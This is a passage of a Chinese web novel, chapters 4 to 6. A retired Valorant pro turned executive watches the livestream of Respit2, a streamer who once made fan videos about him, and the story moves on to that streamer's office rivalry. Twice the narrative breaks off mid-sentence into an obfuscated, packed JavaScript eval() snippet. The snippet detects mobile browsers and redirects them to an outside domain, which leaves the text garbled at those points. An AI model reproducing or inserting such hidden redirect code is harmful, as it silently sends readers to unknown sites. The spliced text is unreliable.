“真忘了啊?靠,你还给人打过钱呢。二十万诶!我的少爷!” 4. 第 4 章 二十万,Respit2…… 季闻则抖了下烟,大脑多少有点醉意,半晌,勉强从落灰的记忆里翻出这个名字。 还真是确有其事。 他对这小孩印象不深,能记得名字,还是因为和自己id里如出一辙的那个“2”。 时间往前推几年,无畏契约还是个没拿到国内版号的新游戏。Execut2在EMEA赛区出道,即使拿了冠军,国内知名度也只是平平——其中一半还是骂他出国高就的。 直到一个叫【Respit2】的视频主开始上传他的相关内容。 从硬核比赛解说,到安利向个人混剪,Respit2每个视频都做的极精致,为Execut2吸粉无数,渐渐扭转了他在国内的风评。 季闻则没见过Respit2,只知道小孩年纪不大,视频里的声音挺活泼,想来应该是个爱笑的。 现在应该也毕业工作了? “……我靠你不会真忘了吧?二十万随手丢啊少爷?老爷!你要不再随手丢给我二十万?” 电话那边,薛简聒噪不断的声音把季闻则从回忆里拉回来。 “有印象。”他弯腰靠在栏杆上,朝前方黑沉如墨的夜色吐出一口烟,嗤笑,“什么我打钱……那是人家给我剪视频的工资。” 薛简不以为意:“得了吧你,我还不知道吗,那小孩好像是家里有人生病吧,缺钱,你才找了个工资的由头给人打的。” 被他这么一句句说着,季闻则倒是真想起来些片段。 天降二十万,是个人都冷静不了。小孩当时声音都哆嗦了,吸着鼻子连声说“卡神我以后赚钱了会还您的”,礼貌又感性。 自己当时怎么说的来着…… 季闻则眯了眯眼,没想起来,便随意抛到脑后,哼笑了下,随口问:“他现在过得怎么样?” 薛简道:“特别好啊。又是大主播,好像自己工作也赚的不少,每次直播吐槽吐槽老板,精神状态也挺好……” 弥散的烟雾里,季闻则又想起多年前,自己看到的那段直播。 那个总是活泼着的声音有点低落:“抱歉大家,以后可能直播不了了……家里人生病,本来我想看看直播能不能赚钱的,但我好像不是这块料,我得去做别的了。” “去做什么?唔,家教吧?还有各种其他兼职,或者跑外卖什么的,都可以做。之前还有人给主播递名片拍杂志,就是感觉有点怕怕的。” “……卖?”少年愣了愣,只当没听懂,只用玩笑带过,“主播论斤都称不了多少钱,还不如人家养猪场的小猪仔呢……” 一阵风吹走了那团呛人的烟,季闻则垂眸莞尔。 “挺好……过得好就行。” “你这语气怎么跟他家长一样。”薛简说。 “挺欣慰。想起自己还不是路灯资本家的时候。” 薛简大笑,声音拐着弯促狭:“你要是乐意跟他见面,他过得更好。” 季闻则换了条腿翘着,笑得漫不经心:“见谁啊?Execut2都入土七年了,上哪儿给他找……” 薛简啧道:“有道理,白月光还是死的好。你现在这样,估计也没人敢认,哈哈。” 季闻则起身把剩下半支烟按进灭烟区,掸了掸风衣褶皱,回了声笑,没说话。 薛简也没强求:“那我把他直播间发你,你想看可以瞅一眼,他直播真挺有意思的。” 季闻则没打算看,但也没拒绝,“嗯”了声道:“还有事儿么,我回去了。” “外面那么大雨,你还没到家?没开车?”薛简一愣。 “离得近,想着散个步,差点被淋,遇见个好心司机,载了我一段……” 想起几分钟前青年目不斜视的冷脸,和扬长而去的车屁股,季闻则沉吟道。 “然后被赶下来了。” “我c……”薛简呛咳半天,“谁啊?” “新下属。”季闻则忍笑,“一个据说挺恃才傲物的小帅哥……倒是蛮有腔调。” “你别是看上人家了。”薛简怪声。 “……我有病?”季闻则轻嗤,“人家好好上个班,被老板看上了,倒霉不。” 薛简:“你这格局,真行,算我嘴贱……对了,你狗带回来没?让我吸吸。” “捷风?在京市,留我妈那儿了。”季闻则说,“也是老姑娘了,经不起折腾,去年做过手术就一直不大好……还有事儿没?我还有会要开。” 薛简重重哀叹:“你回吧,大半夜的业务繁忙,季总啊,我们之间也有一层可悲的厚障壁咯……” “挂了。” 薛简哎哎喊住他,不死心问:“那周五晚上庆功宴,你来不来?” “我这新官上任的,怕是没时间。” 被拒绝的薛简顿时变脸,愤愤骂:“呸,有时间我看你也不会来!” “你看你,知道还问?”季闻则笑罢,丢下一句“奖金打我账上”,无视对面的咆哮,反手挂掉电话进了电梯间。 - 电梯入户,一开门感应灯就应声亮起。他进屋开灯,偌大的房子里空空荡荡,安静得针落可闻。 手机提示音打破了这片寂静,是助理发来“总部跨国会议确认半小时后正常召开”的消息,季闻则啧了声,回了句知道了。 他抬手虚虚按了下空空的胃部,今晚的酒局光顾着说话和喝酒,只吃了点前菜,在外面吃冷风的时候没感觉,现在才觉出饿来。 刚搬来不久,冰箱里什么都没有,季闻则索性随便点了个外卖。 半小时后,物业管家代替外卖小哥,拎着一袋券后价37.1块的麻辣拌送餐上门。 “季先生,看您没点饮品,我自作主张,给您从会所拿了瓶无菌巴氏奶和鲜榨橙汁。” 衬衫西服的物业管家把餐食双手递上,多看了屋主一眼。 对方耳廓上挂着蓝牙耳机,神情淡淡,一副精英总裁模样,接过外卖对他颔首。 季闻则关上门,一盘腿就在客厅地毯上坐了下来,挂着会议的平板放在茶几角落,横咬着拆封的一次性筷子,单手熟练撬开外卖盒,然后取下筷子拌拌,不时用英语回应对面几句。 整个人形象很是割裂。 夹了颗鱼丸送进嘴里,嚼了两下,季闻则脸上表情淡了下来。 七年前他回国加入ICG,来沪市的第一顿饭就是队友推荐的麻辣拌,吃了三年白人饭的他惊为天人。 现在再点一次,似乎也没有那么好吃。 但会议结束的时候,他还是囫囵 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【接老板,晚一点开播】 季闻则眉峰微挑。 赚得不少……在当司机? 更可能是秘书助理之类。这小孩能当主播,情商在职场应该也很吃得开。确实也算好去处。 他翻了翻Respit2的主页,发现他这些年几乎没怎么发新视频,偶尔有,也都是【Execut2生贺混剪】之类,翻遍主页也没找到小粉丝的新欢。 看样子是没有。 指尖重新滑动到最上方,季闻则摩挲着手机,忽然注意到,他头像下方显示着【直播中】,标题是【神话排位】。 神话是游戏里第二梯队的段位。 小主播还挺厉害。 左右也是要找点东西看,季闻则随手点了进去,放着客厅里的大电视不用,直接把手机支着牛奶盒外放。 Respit2在打无畏契约。七年过去,游戏更迭得太快,季闻则一眼看过去,只觉得英雄、技能、地图……一切都显得陌生,让他有种高考状元智力倒退回幼儿园的无力感。 略显不耐地换了个姿势,季闻则瞥了眼画面左上角,用来遮住地图防止窥屏的摄像头画面。 大概是曾经职业的原因,季闻则对【手】的关注,总是比别人多一些。 摄像头拍着一双放在键鼠上的手,在灯光下显得很白,是偏修长的手型,又恰到好处地带着些青年的力量感。 多看了几秒,季闻则正准备退出直播间,那只手忽然应激一样,猛地甩了下鼠标。 紧接着游戏镜头啪地仰倒,然后推向空中,变成了灵魂视角。 ——开局才二十秒,厉害的小主播已经转瞬即逝了。 季闻则被橙汁呛了一下。 半透明的弹幕瞬间多了一倍。 【哈哈哈哈哈】 【看得我手感都没了】 【主播你好菜】 麦克风里,先是响起一声疲惫的叹息,紧接着男生开口,悲从中来。 “我以前不这样啊,是上班夺走了我的瞄准!” “……嗤。” 季闻则放下要退出去的手,抿了下嘴唇,笑了一声。 5. 第 5 章(修) 摄像头画面里,Respit2双手离开键盘,茫然喃喃。 “这不对吧,我神功尽失了?” 【醒醒,你从来没神功大成过】 【做梦之前看看自己的id】 【你但凡真有神话赋能级别的瞄准,早去打职业了】 “我上大学的时候真的上过赋能的!”主播试图给自己挽尊,弹幕却笑得更大声了,整个直播间一时间充满愉快的氛围,直到左下角聊天框里,蹦出一条来自对面的喊话消息。 [就这样还主播?] [神话段位是坐挂车上来的吧。] [菜/B] Respit2说话的声音顿了一下,点开对局详情,了然笑了笑。 “这不是敌台的那谁吗,天天狙我真的有那么好玩?” 那双漂亮的手又落回键盘,噼里啪啦打字回复。 [天天蹲我排位,你暗恋我?正式拒绝哈。] 看着这消息啪地发出去,季闻则忍不住闷笑。 果然,当主播没有不牙尖嘴利的。 Respit2开了对局内隐藏id,正常路人是不可能知道他是谁的,除非对面有看他不顺眼的人,特意卡着时间跟他排到同一局,就为了骂他两句。 对职业选手和大主播来说,这种“排位狙/击”都是家常便饭了,季闻则当然不陌生,心里不免感叹,这小孩还真是火了。 然而很快,随着Respit2的阵亡,己方在接下来的一分半内连掉三人,局面顿时变成1v4,败局已定。 季闻则瞥了眼上方的比分,7-10,输掉这把之后就是7-11,对方再赢下两小局,这场排位就结束了。 Respit2心态倒是良好,嘴里念念着“下次加班回来一定先练枪才排位”。 突然,一个压着火气的烦躁男声,在小队频道开麦。 “对面要赛点了,保安别送了行吗。” 季闻则轻哂。 Respit2玩的英雄是【瑟符】,外号“保安”,目前KD在9-15,说送人头有点过分了,更何况下面还有个战绩更烂的,4-17……怎么都骂不到Respit2头上才对。 任谁被这么莫名骂一句,心里都得冒火。 季闻则换了个坐姿,好整以暇地等着主播花式回怼。 “……嘶。”主播先是抽了口凉气,按着Tab反复看了几眼自己的战绩,过了几秒按下开麦键,竟然带了点心虚,好声好气道。 “抱歉抱歉,最近加班多了,状态不好。刚刚对面从墙后面出来,身位拉大了,我就没反应过来……加油,加油!” 【别人是技术流喷子流,你是道歉流主播】 【社畜味儿藏不住了】 【红豆泥,私密马赛!(鞠躬)】 脾气这么好?季闻则微微挑眉,旋即想起这小孩以前抹着眼泪说还钱的声音,又觉得他现在长成这样,实在合情合理。 但这种性格在外面,有点容易被欺负吧。 他点了点桌面,垂眸又喝了口饮料,不知思忖着什么。 “诶?”对局里,开麦的队友却愣了一下,“你声音有点耳熟啊……等下,刚没听出来,你是不是J站直播的res啊!” 安静,死一般的寂静。 队伍麦里如此,但直播间里,Respit2早在身份被叫破的第一秒,就嗷地一声痛呼出声。 “不要不要……”他的脑袋咚一下磕在桌上,摄像头里露出半个毛茸茸的发顶,像是直往地缝钻,“这和上厕所被突然推门有什么区别!” 队伍麦里,队友还在呼唤:“res我知道是你啊,你在直播!别躲里面不出声!” 主播又是咚咚两声结结实实的磕头,闷着声音开口,尬笑:“嗯……哈哈……是我……不好意思兄弟。” 队友一改方才的烦躁,大喜道:“早说你是res啊!道什么歉,兄弟知道你就这水平!没事儿没事儿啊。我c。” 【??下头!】 【主播又暴露了hhh】 【瓦圈声音最好听解说,可不是开玩笑的】 【瓦主播香草杯卫冕冠军在此!】 香草杯?Respit2还参加电竞比赛了? 季闻则忽然好奇,搜索无果后,直接给薛简去了条消息。 【香草杯是什么,Respit2参加的】 Respite。季闻则在心里念了两遍这个名字,失笑。原来不光名字后面的“2”是比着自己来的,名字本身跟自己的“executer”也不是毫无关联啊。 这时候,薛简回了他整整四行问号。 【???】 【你知道你在说什么吗季总】 季闻则眯眼,懒得打字,直接发了条语音:“弹幕说Respit2是香草杯冠军,什么时候的比赛?” “我服了你了老古董!”薛简崩溃,“快别说了。香三声,草四声,自己念。” 想c……? 一秒后,季闻则以极快的手速撤回了自己的两条消息,牙根发痒,重重咬了两下,忽然头一次喝完酒之后,头这样突突地痛。 直播对局里,显然都是和他这种“老古董”不一样的朝气男大,Respit2的队友已然开始大喊。 “兄弟们兄弟们,我们家保安是最强泉水指挥官!只要他送了就能好好指挥了!res速速指挥我们上分,我们三排的,包听话!” 和他三排的另外两人也立刻附和。 “卧槽res!想给你当狗很久了!” “有南通啊。” “你懂什么,主人请尽情吩咐我吧!我要上分!” “我我!我枪法好,困难bot点29个!” 莫名的,季闻则脑海里勾勒出一个面容模糊的男生,被一帮男大围着说“我要当你的狗”,左右为难,场面混乱。他旋即被自己离谱的画面感逗笑,觉得自己真是喝昏了头。 但……Respit2的指挥吗? 季闻则眼底生出些兴味,摆弄两下,把直播间投屏到了电视上。 知道【Respit2】这个人满打满算也有八、九年了,以前偶尔会看他的比赛分析,但看Respit2打游戏,还真是第一次。 cn赛区成立的前一年,他有让ICG的人去接洽过一次,想问问Respit2有没有当教练组分析师的意向……结果竟然得知,这小孩才17,还没成年,完全是个小童工,ICG那边慌忙作罢。 算算年份,当年的小孩现在也应该有二十五六岁了。 手里的果汁见了底,季闻则晃了晃,远远一投,丢进电视柜旁的垃圾桶。 屏幕正上方,薛简的消息还在一条条冒,季总季总地叫着,看得他笑着轻啧一声,直接挂了免打扰,找回个清净。 “res你觉得我们能赢吗?”三排小队里,那个战绩是4-17的人问。 Respit2想了一下,轻笑说:“都是神话,凭什么他们能赢,我们不能?” 画面里倒计时重新响起,新的对局开始,季闻则随手丢开手机,曲腿坐在地毯上,像拎啤酒罐一样拎起那盒牛奶,目光投向屏幕,连自己都没察觉到自己勾起的嘴角。 是啊,凭什么不能赢? 他果然,还是很欣赏这个小孩啊。 - 事实上,郁思白不怎么喜欢在野排指挥路人,这实在是个吃力不讨好的活儿,但在三排小队的嗷嗷待哺声中,他又有点儿犹豫了。正要开口,忽然,另一个不和谐的声音响起,厌烦道。 “你们他妈的有病吧,fps游戏枪不准玩个屁。这么喜欢菜逼主播也没见他卖屁股给你们,舔狗。” 是队内战绩第一的二突决斗,选用英雄壹决。 原本氛围愉快的语音里,安静了片刻。 Respit2此人,在神话段位也是鼎鼎有名。 认识他的人排到他,一般只有两种极端反应,像三排小队一样的欢呼雀跃——或者像单排壹决这样的厌烦。 郁思白叹了口气,开麦幽幽道:“没事,习惯了。”说罢,反手就是一个举报违规用语,安慰炸开的弹幕。 “听着是个新生的小喷子,一点也不会喷,这么多违禁词,号不是转瞬即逝了么……他爸爸妈妈知道该有多伤心啊。” 【情绪稳定的社畜哥……】 【好包容的res妈妈】 【?有泥塑】 【我们社畜是这样的,看似情绪稳定,其实已经疯了有几年了】 三排小队也劝道。 “res别听他的。” “要开了,res你尽管指挥,我要赢!” “真信我啊?”郁思白在商店购入半甲m4,眨眨眼问。 在此起彼伏的“包的”中,下一小局的准备倒计时开始,他坐直身体,又重新审视了一下自己家这边的英雄配置。 决斗位:[雷兹]一突,[壹决]二突。 先锋位:[斯凯]。 控场位:[欧门]。 哨位:[瑟符]——也就是他自己。 “好巧,这不是ICG的夺冠阵容吗。”郁思白笑了一下,“要试试打冠军队的战术吗?” 三排小队不知谁“卧槽”了一声。 “res你不是上班没看决赛吗?!你知道他们咋打的?” 郁思白操纵着自己的英雄走出出生点,“嗯”了一声道:“我也参与他们赛训呀,战术制定什么的,当然也有我一份……对了,ICG都没给我开工资!” 三排小队顿时嗷嗷大喊,为他伸冤。 几人显然都是看过比赛的,乐呵呵地闹两句的功夫,都已经按着比赛里ICG的位置,站到了各自的点位上。 “稍微跟你们说一下这套战术的注意点。对面开局会先在A小做默认,我这个位置是交/火的第一枪线……”郁思白顿了一下说,“但你们知道的,我不一定打得到人。” 决斗位一突雷兹噗地笑出声,十分不给面子地道:“好嘞res我知道你架不住,兄弟来架!” “好!”郁思白顿时如释重负,又根据这个站位改变,做起战术执行的微调。 “但你别急,等会儿再露头,对面菲德会开局丢眼,在远处打一下,骗他们一波技能套餐,然后再……” 正说着,郁思白瞥了眼小地图,看见壹决的头像在b点长廊门口跃跃欲试,好像随时想探出去以身试险,于是提醒了一句:“壹决最好别压,这把对面可能有狙。” “管好自己。”壹决冷道。 郁思白耸肩:“随你,不想死的话,跳peek看一眼就知道了。” 跳peek是一种身法,通过跳跃配合移动键,实现快速侦查后撤回掩体的战术动作,可有效降低对枪风险[注1]。这个身法黄金白银段位都有厉害的人会,对神话段位的玩家来说,更是必修课。 壹决没说话,但也没反驳。 两秒后,语音里,壹决“卧槽”了一声。 驻扎B点的另一个队友喊:“b长外面架着狙!” 如果壹决刚刚没有听郁思白的话,胆大包天,直接一步迈出去的话,想必能正好把自己送到对方的狙/击镜下,现在恐怕已经是个盒子了。 郁思白也没冷嘲热讽,只问:“壹决,我去给你拉枪线,你能拿下对面的狙吗?能的话,我现在过去,他们应该是大狙单带b长,只有他一个人,没人补枪,很安全。” 壹决自觉没脸,只憋出一个字:“打。” “行,我过来。”郁思白说完,直接收枪往传送门里一钻,等门开后直接收枪,提着刀,一路匆忙跑了过去。 【res脾气也太好了】 【喜欢你职业圈人缘最好的res哥哥吗】 【??就掏刀跑了】 【不怕外面有人架?】 “八成没人。”郁思白看了眼弹幕,简单解释,“刚刚我们也探到信息了,浴室有一个人,a小三人,b长廊就只能剩一个狙。我观察了前面这么多局他们的习惯,这个时间,他们会在原地多等一会儿,不会立刻转点。” “而且他们听见我坐传送门的声音,还得头脑风暴一会儿,猜猜我到底转没转点,有的拖呢……”他说完,开麦道,“雷兹,刚谢谢你帮我架枪保护我啊!” 雷兹嘿嘿笑道:“没事儿啊应该的res,等会儿我能加你好友不?” “可以啊。主播的好友位有什么稀罕的,遇到就是缘分……诶壹决你再peek一下,看人走了没。” “还在。”壹决说,“快点来!” “我跳出去帮你拉枪线,你把他摘了,行不?”郁思白问。 “成。” 郁思白没再犹豫,果断道:“好,3、2——” “1!” 话音落下的同时,郁思白闪身跃出掩体。 “砰!” 大狙瞬间瞄着他开了枪。沉闷的重响撕破空气,擦着他的衣摆,在身后土墙上留下一枚黑沉沉的弹孔。 “哒哒哒!” 壹决迅速端着狂徒ak拉出来,瞄准射击,却因为一步没停稳,弹道有了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16333024|183336||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 些许偏离,他微调瞄准再次射击。 击中特效在对方狙击/枪持有者腰上爆开,却没能造成击杀。 壹决没能一击打死对方。 敌人被击中后僵直一瞬,眼见一狙未中,立刻就要回撤。 “哒”的一声,跳出来帮壹决拉枪线的郁思白,轻轻落地。 他迅速切枪转身,所有专注,在瞬间汇聚于那枚小小的准星上。 “嗒!” 在即将闪进掩体的最后一瞬,敌人的头顶炸开特效火光,整个人向后缓缓仰倒。 【瑟符 使用幻象击杀 viper】 “烟位单带扛狙……神奇。不过是viper的话也合理了。”郁思白轻飘飘笑了声,报点,“b长狙死了,我这里能看b小,没人,摄像头在a小被打了,雷兹、斯凯,小心他们狗急跳墙,就这么猛猛冲进去了。” 队友立刻应声。 “好!” “卧槽好枪!手撕大狙,res牛逼!” “谁再说我们主播打不到人的!” “啊啊我这里来人了!救救救我——” 郁思白:“别急着把道具全给了,他们技能冷却时间还没到,大概差七八秒,这次应该只是假打。我和壹决切他们后路……壹决,走。” 队里的壹决半晌没说话,只是跟着他静步转点,直到逼近敌人后方,他才开了麦,喏喏说。 “好补枪,牛逼的。” 郁思白没在意,轻笑:“没你打身体那枪,我用m4哪怕爆/头了,伤害也不够。” 壹决顿了顿,道:“听你指挥。” …… 五人齐心之下,比分从7:11一路追到12:12,最后加时两把,郁思白这边以14:12的比分拿下了胜利。 齐心协力翻盘的瞬间,队内猛地爆发出此起彼伏的猴叫。 郁思白的id终于露出来。 【我打不到人啊】 【12-19-12】 战斗评分162,中规中矩……还算打到一些人。他抬手,擦了擦不存在的汗。 在自动退出队伍语音前,一直没再说话的壹决开口,语速很快道。 “对不起res,之前是我说话太冲。你很厉害。” 几秒后队伍语音自动解散,郁思白没回应。 右下角冒出三条好友申请,是刚刚的三排小队,郁思白通过了。 【嘻嘻我要赢:re哥还打吗?我们仨包听话!】 郁思白喝了口水,拒绝了三排小队的邀请,正准备继续点排队,耳机里就传来语音房进人的“叮咚”声,紧接着,好友pupu活跃的声音响起来。 “啊啊啊不要跟他排!我来了!” 于是郁思白退出游戏,切到早就准备好的总决赛录屏界面,忍不住说。 “冠军哥,你再来晚点儿,今天就得陪我通宵补解说了。” “抱歉抱歉!我立刻麻溜儿的开始!” 两人解说直到中场,pupu才嘿嘿笑着接了一开始的话题:“出去小吃了一顿,咱的冠军决斗kulu喝多了,刚安顿好他。” “别老灌人小孩儿……”郁思白说。 “这家伙也就在你跟前整的挺腼腆……我跟你说re宝,别被骗了啊,这家伙私底下烟酒都来的。” “你们开庆功宴去啦?”郁思白问。 “没,就吃顿饭。”pupu说,“庆功宴定的周五晚上,知道你平时没空,就等你呢!” 郁思白心头一热:“呜呜,pu宝你们真好!”顿了顿,他不大好意思,但还是没忍住问。 “那……卡神那边呢?” 叹了口气,pupu不忍心道:“薛老板问了……说不来。” 郁思白抿唇,安静两秒道:“哦……哈哈,哎其实我早猜到啦,卡神现在神龙不见首尾,不来也正常。” 【别笑了感觉你快碎了】 【有时候真的怀疑Execut2还活着吗()】 【反正在网上是死的很透】 【看开点吧主播,人死不能复生……】 【新生代小选手帅的也不少,res你粉个新的吧】 【ICG那个刚18岁的新突击位kulu就不错!决赛也拿了个五杀。】 【哈哈kulu还在微博艾特res说谢谢res哥哥带他分析问题,年下好啊】 【年纪小的就是嘴甜】 “别瞎嗑啊,我和小kulu就是朋友……哎呀主播就喜欢哑巴帅哥不行吗!”刚刚遇见喷子都没急眼的人,现在忍不住了,强调道。 “谢邀,我老公只是退役了不是死了,不、改、嫁。” 眼看弹幕的话题就要滑向奇怪的方向,郁思白略抬高了一点声音,转移话题。 “说起来,最近公司空降了一个新老板……” 他直播的时候,声线比平时高半个调,语气也活泛,好像真的是个大学生一样——任谁也想不到,主播本人,大概率正顶着一张面瘫的脸。 所以郁思白吐槽社畜生活的时候,向来有种不怕掉马的嚣张。 “今天差点指着新老板鼻子骂了,结果一扭头看见他那张脸……感觉原谅一秒也不是不行。” 【那得多帅】 【哈哈新老板不会是你喜欢的哑巴帅哥系吧】 “那倒不是。”郁思白说,“而且现实生活里根本不可能有那种高冷寡言总裁吧。不然项目怎么谈啊,用一双装着扇形图的眼睛吗?” …… - 江澜御府。 季闻则得承认,Respit2的声音很好听。淡淡的冷质感,但又不是平铺直叙毫无感情,语调里听得出,应该是个开朗又温和的男生。 也不知是不是Respit2的排位赛看得太激动,听他解说比赛的时候,季闻则反而渐渐有了点困意。 和别人喝酒催眠不同,季闻则每次喝了酒都很难入睡,睁眼到天亮都是有的。 眼下犯了困,他索性任由身体往下滑了些,仰头靠在沙发边缘,视线里的天花板渐渐暗下来…… 不知过了多久,半睡半醒间,他听见一句话。 “说起来,今天公司空降了一个新老板……” 季闻则眉头皱了皱,眼皮抖动。 “长相有我Execut2男神三分帅气!” 季闻则睁眼,残留微醺醉意的眼底,显出些茫然。 “就是笑眯眯的……不像好人。” 季闻则脑海里一个激灵,腰腹用力猛地坐起来。 醒了。 6. 第 6 章 直播里,小主播轻轻笑了声,咂了下嘴说:“不过嘛,老板这张脸还是很为我的黑白社畜生涯添彩的。” 季闻则缓了缓困劲儿,拧眉拿过手机,弹幕上是一串接一串的大笑,仿佛对此习以为常。 【……你小子】 【信你个鬼。上次地铁看见警犬,你都说那狗帅得跟Execut2一样。】 【之前还说外卖小哥声音像卡神,问下次能不能还让他送】 【鉴定为吃代餐吃出幻觉了】 【疑似社畜主播猝死前的幻想】 主播叹气:“……也是呢。我这老板没有警犬那个冷酷的男神气质,综合来讲不如警犬。” ……那就是没认出来。 被评为“不如警犬”的老板本人,此刻竟然诡异地松了口气。 现实相关的话题点到即止,总决赛录屏加载完毕,小主播清了清嗓子:“好了,cn赛区第二赛段季后赛总决赛,由ICG对阵TKU,先来看一下bp……” 他解说的时候声线扎实、口条清晰,季闻则仔细听了两秒,仍然没觉得熟悉。 他指尖在杯壁上轻轻敲点,片刻后,喝掉最后一口橙汁,退出直播间,在微信里找到薛简。 【Respit2现在做什么,你知道吗?】 薛简回的很快。 【你说工作?不清楚,只知道是做设计的,平时挺忙,啥时候问都是在画图。】 【少爷你怎么突然对他感兴趣?】 【也不对,以前你也对他挺感兴趣的。】 【二十万少爷。】 季闻则回他六个点。 不过,设计画图……听着确实专业对口啊。 【看见他直播请假条说接老板,好奇。】他又问,【哪家公司?】 薛简:【那我就不知道了……这玩意儿沪市不遍地都是?干嘛啊,你要把人挖过去?那感情好啊,我帮你牵线去!】 这话好像触发了薛简的关键词,噼里啪啦就是一通说。 【我跟你说,他那老板真不太行。】 【res酒量差,他自己说只能喝一瓶盖儿,一点不夸张。】 【前两年他老板把他带去应酬,挡酒嘛,然后估计是生意谈的不咋顺吧,你猜怎么着?res都喝得往地上栽,他老板把他往那儿一撂就不管了,人小孩儿自己在饭店台阶上坐了半宿。妈的。】 【还好我们也在沪市,咱ICG队长,他朋友pupu约他排位没见人,半夜给他打电话才知道这事儿。】 【凌晨四点把人捡回基地了,淋了一身雨,一摸,头都发烫!】 …… 薛简打字很快,消息一条条往外蹦,看得季闻则目光愈发沉了,眼里半点笑意都无。 【我记得他学历不错?】他问。 薛简却不知道具体院校,只说:【蛮吊,游戏主播圈里独一份的。】 活泼开朗,学历不错,设计部门,业绩很好,喝酒只能喝一瓶盖…… 指尖在膝上点了点,季闻则心里暂时没有人选,按了下突突直跳的额角,呼出一口气。 【行,知道了。】 - 第二天,郁思白是踩着点打卡的,滴的一声后,他泄气般垮下肩膀。 困。 昨晚补完总决赛解说已经是凌晨三点,这还得感谢ICG干脆利落,大比分3:0零封对手。否则郁思白要播个通宵也说不定。 抬手蹭开眼镜,郁思白揉了下眼睛,刚迈步往前走,就听见身后一个声音叫住自己。 “郁组长,难得见你来这么晚啊。” 郁思白回头,看见一张和钱远新长得有些相似的脸——是他侄子,一直跟他打擂台的二组组长,钱翀。 钱翀站在打卡机外斜斜靠着,仿佛对明星pose的拙劣模仿,笑容普通而自信。 “听说你昨天拒绝陪季总应酬?”他摇头叹气,“钱哥跟你说过很多次,年轻人,放下身段,啊。” 他比郁思白大几岁,但进公司晚,本人却丝毫没觉得自己资历浅过,向来是个好为人师的。 “钱哥知道你不善言辞,但这都可以练的。”钱翀道。 总归也没什么急事儿,郁思白乐得带薪聊天,更何况是钱翀这种攻击性很弱、又能说个不停的。 于是他停下脚步,随便接了一句:“还是钱组长能者多劳吧。” 钱翀顿时来劲儿,笑了笑,又是一长串。 “小郁也不要妄自菲薄。你记得刚来公司、升了组长的时候,钱总带你应酬了一次。只冲着你这张脸,客户们也都很喜欢你嘛。” 见他不说话,钱翀嘴角弧度更大,下巴也挑到天上去。 “哎,你不知道吧。今早季总要去视察我们二组的项目,小郁,真是可惜了啊……要是你昨天跟着应酬,说不定,季总就按着一二的顺序来了。” “哦?”郁思白眉毛动了下,平淡的语气带了点惊奇,“意思是,季总的行程,是你卖笑来的啊。” 钱翀脸色一变,冷笑一声:“郁组长,注意你的言辞。” 郁思白看着他,端详两秒,又闭眼移开视线,淡淡。 “嗯,我也觉得卖不上价。” “你!”钱翀啪地一拍打卡机,口鼻气得抽搐两下,好几秒才勉强维持住人形。 “郁组长,别以为钱总走了你就可以无法无天……等我当上总监,你还敢像今天这样跟我说话?” 郁思白把工牌抛起又接住:“我是骂你叔叔少了?” 钱翀上前一步,压低声音:“你不怕辞职,你手下的人也不怕吗?” 郁思白镜片后的目光一顿。 “怕了?”钱翀哼笑,刚要继续开口,就被一道利落的女声打断。 “郁组长,真巧。”来人穿着职业装平底鞋,马尾扎高,没留一丝碎发,她一推眼镜,开门见山,“我是季总的总助杨孟越。带季总的话,想让您晚上下班,跟他一起去见客户,时间地址我稍后发您。” “什么?” 钱翀拦在郁思白前面,不敢置信,“杨助,他昨天不是拒绝了吗,怎么今天还是他?” 杨总助看了他一眼,颔首算是打招呼,目光最后还是落在郁思白身上,笑了笑说:“季总说,昨天跟您约晚了,不作数。今天叫我第一时间告诉您。” “辛苦杨助。”郁思白应下,侧头,仍旧面无表情地扫了钱翀一眼。 钱翀从他淡淡的目光里看出扬眉吐气来,垂在身侧的手顿时握成拳,脸黑沉沉的,转身就走。 还没走远,就听见郁思白说:“但不好意思,我今晚也要加班。” 钱翀不敢置信。 季总不让自己陪餐也就罢了,一而再地请郁思白,他还要拒绝?! 不识好歹!! 一个踉跄,钱翀的脚磕上走廊半人高的花瓶,顿时痛的眼前发黑。 动静不小,杨助理却看都没看一眼,只道。 “郁组长,季总说今晚做东的是衡蕴置业的段总,请您务必来。” 这个名字倒是听得郁思白一顿。 “誉衡别苑项目的那个衡蕴?” “是的。”杨助理微笑点头,也不急着要他的回复。 郁思白眉头一紧,屈指缓缓抵了一下眼镜,借机垂眸。 衡蕴是开发高端住宅区的老牌企业,誉衡别苑这个项目,很多公司都在哄抢。因为衡蕴传出来风声,有意直接一个项目组用到底,这使得原本一个普通住宅项目,立刻高出别人几个优先级来。 毕竟如果真的能拿下项目,就是未来两年都没有其他工作,基本业绩也都不用愁了。 这么好的机会,钱远新却直接一挥手,把争取的名额交给二组。 当时郁思白在外地出差,武天骄又请了病假,暂代组里一把手的高向日是个懵懂嘴笨的,还没反应过来,项目就从手里溜走了。 会后,还被钱翀拦在门口,钱大侄子假模假式地笑说。 “不好意思啊高设,都是公司决定,我也没办法。” 高向日至今说起这事儿,还又气又无力,觉得自己辜负了同事们的信任。 …… 现在听杨助的意思,季总想换人? 郁思白垂下手,工牌的绳子在指尖转了两圈。 季闻则新官上任,按郁思白以往的作风,当然是尽量削减存在感。他和一组的业绩已经足够烈火烹油,无需再借谁的东风。 但誉衡别苑…… 不远处突然又传来咚咚的脚步声,钱翀胸口起伏着,一瘸一拐走过来,强压着情绪瞪向郁思白,咬牙。 “郁组长,公司内部抢项目,传出去可不好听。” 啪的一声,转动的工牌划过一道弧线,落入郁思白掌心。 向来没有表情的青年微微勾起唇角,勾勒出的,却是一个带着讥诮的冷笑。 “不好意思钱组长。公司的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 